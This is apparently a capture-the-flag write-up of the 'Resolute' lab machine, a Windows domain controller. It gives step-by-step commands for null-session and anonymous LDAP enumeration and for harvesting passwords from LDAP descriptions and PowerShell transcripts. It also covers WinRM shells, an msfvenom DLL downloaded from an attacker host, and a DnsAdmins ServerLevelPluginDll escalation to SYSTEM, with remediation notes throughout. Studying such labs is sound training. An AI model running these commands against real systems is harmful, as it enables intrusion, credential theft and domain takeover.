Resolute
Summary
I mapped the domain controller at $TARGET and found SMB null sessions, unauthenticated RPC, and anonymous LDAP binds all accepted without credentials. An RID brute-force over null SMB recovered the full domain user list, and an anonymous LDAP query pulled description attributes for every account — one of which contained the cleartext onboarding password for melanie.
Those credentials authenticated over WinRM, giving an immediate remote shell and the user flag. Inside that session, PowerShell Transcription had been left enabled and was writing complete session logs to C:\PSTranscripts\; a stored transcript from an earlier administrator session contained ryan's password in plaintext.
Ryan held membership in the built-in DnsAdmins group, which can configure the Windows DNS Server service — running as SYSTEM — to load an arbitrary DLL on startup. A custom payload DLL was staged on the server via HTTP, the ServerLevelPluginDll registry key was pointed at it using reg.exe, and a DNS service restart caused SYSTEM to load and execute the DLL, writing the root flag to a readable path and completing full domain compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <subfolder>, <transcript-file> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Full-port TCP scan with version and default script detection.
$ nmap -sV -sC -p- --open -T4 $TARGET -oN resolute_nmap.txtConfirm null SMB authentication is accepted and record OS and domain details.
$ nxc smb $TARGET -u '' -p ''Add the target hostname and domain to local resolution.
$ echo "$TARGET resolute.megabank.local megabank.local" | sudo tee -a /etc/hostsExact commands 2
Brute-force RIDs over a null session to enumerate all domain principals.
$ nxc smb $TARGET -u '' -p '' --rid-brute 6000Dump user account display info including names, descriptions, and flags via unauthenticated RPC.
$ rpcclient -U "%" -N $TARGET -c "querydispinfo"FixDisable SMB null sessions and restrict unauthenticated RPC account enumerationHigh
Exact commands 1
Anonymous LDAP bind — inspect description attributes on all user objects for passwords or provisioning notes.
$ ldapsearch -x -H ldap://$TARGET -b "dc=megabank,dc=local" "(objectClass=user)" sAMAccountName descriptionFixRemove all plaintext credentials from LDAP description and attribute fieldsCritical
Exact commands 4
Confirm the credential is accepted by SMB.
$ nxc smb $TARGET -d megabank.local -u melanie -p "$PASSWORD3"Confirm WinRM access — look for Pwn3d! In the output.
$ nxc winrm $TARGET -d megabank.local -u melanie -p "$PASSWORD3"Open an interactive WinRM shell as melanie.
$ evil-winrm -i $TARGET -u melanie -p "$PASSWORD3"Read the user flag — value is <user.txt>.
$ Get-Content C:\Users\melanie\Desktop\user.txtExact commands 2
List all PowerShell transcript files from melanie's remote session.
$ nxc winrm $TARGET -d megabank.local -u melanie -p "$PASSWORD3" -X "Get-ChildItem -Recurse C:\PSTranscripts"Read the transcript; substitute the actual path returned above. Look for credential strings in the output.
$ nxc winrm $TARGET -d megabank.local -u melanie -p "$PASSWORD3" -X "Get-Content 'C:\PSTranscripts\<subfolder>\<transcript-file>.txt'"FixDisable PowerShell Transcription or lock down transcript directories so unprivileged users cannot read themHigh
Exact commands 3
Validate ryan's credential over WinRM and confirm Pwn3d!.
$ nxc winrm $TARGET -d megabank.local -u ryan -p "$PASSWORD"Open an interactive shell as ryan.
$ evil-winrm -i $TARGET -u ryan -p "$PASSWORD"List all group memberships — confirm DnsAdmins appears in the output.
$ whoami /allExact commands 6
Generate a DLL payload. If execution is unreliable, compile a custom C DLL that exports DnsPluginInitialize and calls WinExec with the same command string.
$ msfvenom -p windows/x64/exec CMD="cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Windows\Temp\r.txt" -f dll -o plugin.dllServe the DLL from my machine (run in background before the next step).
$ python3 -m http.server 8080Download the payload DLL to the target; replace $ATTACKER_IP with your HTB VPN tunnel IP.
$ nxc winrm $TARGET -d megabank.local -u ryan -p "$PASSWORD" -X "Invoke-WebRequest -Uri http://$ATTACKER_IP:8080/plugin.dll -OutFile C:\Windows\Temp\plugin2.dll"Point ServerLevelPluginDll at the staged payload using reg.exe directly — more reliable than dnscmd /config on this host.
$ nxc winrm $TARGET -d megabank.local -u ryan -p "$PASSWORD" -X "reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /t REG_SZ /d C:\Windows\Temp\plugin2.dll /f"Restart the DNS service; SYSTEM will load plugin2.dll on startup and execute the embedded command.
$ nxc winrm $TARGET -d megabank.local -u ryan -p "$PASSWORD" -X "sc.exe stop dns; Start-Sleep 3; sc.exe start dns"Retrieve the root flag — value is <root.txt>.
$ nxc winrm $TARGET -d megabank.local -u ryan -p "$PASSWORD" -X "Get-Content C:\Windows\Temp\r.txt"FixRemove non-administrative accounts from DnsAdmins and monitor the ServerLevelPluginDll registry keyCritical
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-08 23:57:21Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK) |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | tcpwrapped |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | mc-nmf .NET Message Framing |
| 47001/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49670/tcp | unknown recon-sweep-discovered |
| 49676/tcp | unknown recon-sweep-discovered |
| 49677/tcp | unknown recon-sweep-discovered |
| 49686/tcp | unknown recon-sweep-discovered |
| 49710/tcp | unknown recon-sweep-discovered |
| 49737/tcp | unknown recon-sweep-discovered |